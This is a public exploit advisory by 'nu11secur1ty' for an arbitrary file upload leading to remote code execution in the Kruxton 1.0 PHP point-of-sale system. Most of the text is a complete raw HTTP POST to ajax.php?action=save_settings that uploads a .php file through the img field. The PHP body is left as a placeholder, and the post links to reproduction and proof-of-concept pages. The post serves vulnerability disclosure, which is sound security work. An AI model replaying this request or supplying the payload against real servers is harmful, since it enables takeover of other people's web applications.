## Title: kruxton-1.0-FileUpload-RCE ## Author: nu11secur1ty ## Date: 04/15/2024 ## Vendor: https://www.mayurik.com/ ## Software: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html ## Reference: https://portswigger.net/web-security/file-upload ## Description: The system setting with parameter IMG is vulnerable to File Upload vulnerability. The attacker can upload a very malicious PHP file into the server and then he can execute it This is a potential CRITICAL PROBLEM! STATUS: HIGH- Vulnerability [+]Payload: ```POST POST /kruxton/ajax.php?action=save_settings HTTP/1.1 Host: localpwnedhost.com Cookie: bLicense67=1; sEmail=kurec%40guhai.mi.huq; PHPSESSID=lp21rf44drtnogjboa8v7lpmg1 Content-Length: 1043 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8" Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUwsdkjlNQ5exBwrq X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://localpwnedhost.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://localpwnedhost.com/kruxton/index.php?page=site_settings Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=1, i Connection: close ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="name" Kruxton Bristo By Mayuri K ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="email" [email protected] ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="contact" 9000000000 ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="about" <p>Kruxton Bristo By Mayuri K</p><p data-f-id="pbf" style="text-align: center; font-size: 14px; margin-top: 30px; opacity: 0.65; font-family: sans-serif;">Powered by <a href="https://www.froala.com/wysiwyg-editor?pb=1" title="Froala Editor">Froala Editor</a></p> ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="img"; filename="1nsi1deyou.php" Content-Type: application/octet-stream <?php // by nu11secur1ty - 2024 //Your malicious code here ?> ------WebKitFormBoundaryUwsdkjlNQ5exBwrq-- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/kruxton-1.0) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/04/kruxton-10-fileupload-rce.html) ## Time spent: 00:15:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>